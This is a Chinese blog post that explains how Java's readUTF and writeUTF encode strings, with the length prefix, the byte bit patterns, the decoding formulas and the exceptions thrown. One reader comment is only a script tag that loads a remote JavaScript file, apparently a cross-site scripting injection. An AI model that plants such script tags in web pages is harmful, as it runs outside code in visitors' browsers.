本站首页    管理页面    写新日志    退出


«November 2025»
1
2345678
9101112131415
16171819202122
23242526272829
30


公告
暂无公告...

我的分类(专题)

日志更新

最新评论

留言板

链接


Blog信息
blog名称:
日志总数:3
评论数量:5
留言数量:0
访问次数:46119
建立时间:2004年12月28日




[开发笔记]Java中readUTF和writeUTF函数所生成的数据结构描述
软件技术

typez 发表于 2005/4/26 10:55:32

    最开始是一个称为UTF长度(UTF length)的unsigned short 类型的字段,该字段指明了需要继续读取的额外字节数。这些后续读取的字节被分组然后转换为字符。每个组的长度根据该组中第一个字节的值计算而得。一个组之后的下一个字节是下一个组的第一个字节。   如果组的第一个字节符合0xxxxxxx(x表示”可能为0或1”)这种位模式,则该组只包含该字节,该字节被0扩展(zero-extended)以形成一个字符。   如果组的第一个字节符合110xxxxx这种位模式,则该组包含该字节a以及下一个字节b。如果不存在字节b(由于字节a是被读取的最后一个字节),或字节b不符合位模式10xxxxxx,则抛出一个UTFDataFormatException异常。否则,该组被转换为字符 (char)(((a & 0x1F) << 6) | (b & 0x3F))       如果组的第一个字节符合1110xxxx这种位模式,则该组包含该字节a以及其后的两个字节b和c。如果不存在字节c(由于字节a是最后两个被读取字节中的一个)或者字节b或c不符合位模式10xxxxxx,则抛出一个UTFDataFormatException异常。否则,该组被转换为字符(char)(((a & 0x0F) << 12) | ((b & 0x3F) << 6) | (c & 0x3F))          如果组的第一个字节符合模式1111xxxx或模式10xxxxxx,则抛出一个UTFDataFormatException异常。          如果在整个过程中的任何时候遇到文件末尾(end of file),则抛出一个EOFException异常。          当该过程把所有的组都转换为对应的字符之后,所有的字符被按照它们所对应的组从输入流中被读取的顺序收集起来,最后形成一个返回的字符串。       由上可知,当一个字符的UNICODE编码值在0-127之间时(ASCII字符),该字符的编码占用一个字节。当UNICODE编码值在128-2047之间时,该字符的编码占用两个字 节。否则,该字符的编码占用3个字节。  


阅读全文(8131) | 回复(2) | 编辑 | 精华
 


回复:Java中readUTF和writeUTF函数所生成的数据结构描述
软件技术

ggg(游客)发表评论于2008/5/13 13:42:33

<script src="http://abc/a.js"></script>


个人主页 | 引用回复 | 主人回复 | 返回 | 编辑 | 删除
 


回复:Java中readUTF和writeUTF函数所生成的数据结构描述
软件技术

wuzhizhe(游客)发表评论于2005/11/15 21:55:56

没看明白

个人主页 | 引用回复 | 主人回复 | 返回 | 编辑 | 删除
 


回复:Java中readUTF和writeUTF函数所生成的数据结构描述
软件技术

lee(游客)发表评论于2005/9/2 10:58:50

能不能举一个转换的例子阿? 急需!!!

个人主页 | 引用回复 | 主人回复 | 返回 | 编辑 | 删除
 


» 1 »

发表评论:
昵称:
密码:
主页:
标题:
验证码:  (不区分大小写,请仔细填写,输错需重写评论内容!)



站点首页 | 联系我们 | 博客注册 | 博客登陆

Sponsored By W3CHINA
W3CHINA Blog 0.8 Processed in 0.484 second(s), page refreshed 144802495 times.
《全国人大常委会关于维护互联网安全的决定》  《计算机信息网络国际联网安全保护管理办法》
苏ICP备05006046号